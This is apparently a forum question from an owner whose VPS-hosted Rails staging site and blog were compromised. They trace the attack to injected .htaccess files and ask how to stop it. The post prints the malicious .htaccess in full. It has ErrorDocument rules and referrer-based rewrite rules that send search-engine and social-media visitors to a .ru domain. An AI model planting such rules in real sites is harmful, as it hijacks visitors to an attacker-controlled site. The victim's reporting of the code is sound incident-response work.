Possible Duplicate:
My server's been hacked EMERGENCY
So I am very panicked.
I have a Rails application I am building hosted on a VPS for a staging environment. I configured it earlier in the month and everything was working fine (specifically with capistrano deployment). Today I deployed the latest dev code to the web server and went to test it. I hit the URL (http://openstudyr.ashleyangell.com) and noticed that it was doing strange lookups to 'http://guide-securesoft.ru/fliht/index.php?1314066061' which I have never heard-of before, and that clicking on any of my links is also (eventually redirecting to the same/similar URL).
I'm not adept at Linux, but I am smart enough to ensure that all my SSH is done with key authentication, I never run as root and the root password is a alphanumerical string of about 24 characters in length.
I checked my Apache configuration for the virtual host, but its exactly as I had left it.
I feel like my heart is about to shoot out my chest and explode. I'm not sure what to do, or what to check next.
I tried Googling the domain to see of similar problems, but nothing obvious came up.
Can any please help? How can I a) verify if I've been compromised or not and b) fix the problem and stop it from happening (which I know can't really be answered until a has been).
:(
UPDATE #1:
It seems like all my URLs are performing automatic redirects when they execute from the browser, but if I hit the URLS directly, they work just fine. Weird.
UPDATE #2:
Its also the parent domain http://ashleyangell.com (my personal blog) which is having the same problem. However, all the other virtual hosts seem unaffected.
UPDATE #3:
I tested on other machines. They are all doing the same behavior which makes me think that its not isolated to my development machine or internet connection. (yeah?)
UPDATE #4:
I ran sudo grep -ri -l "guide-securesoft" /var
and all the .htaccess files for the server matched! So I picked the domain in question and ran cat /var/www/vhosts/openstudyr.ashleyangell.com/.htaccess
and this is what I got (I cleaned it up to make it readable):
ErrorDocument 400 http://guide-securesoft.ru/fliht/index.php
ErrorDocument 401 http://guide-securesoft.ru/fliht/index.php
ErrorDocument 403 http://guide-securesoft.ru/fliht/index.php
ErrorDocument 404 http://guide-securesoft.ru/fliht/index.php
ErrorDocument 500 http://guide-securesoft.ru/fliht/index.php
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://guide-securesoft.ru/fliht/index.php [R=301,L]
</IfModule>
...so at least now I KNOW how they're doing it - but how can I stop it happening again?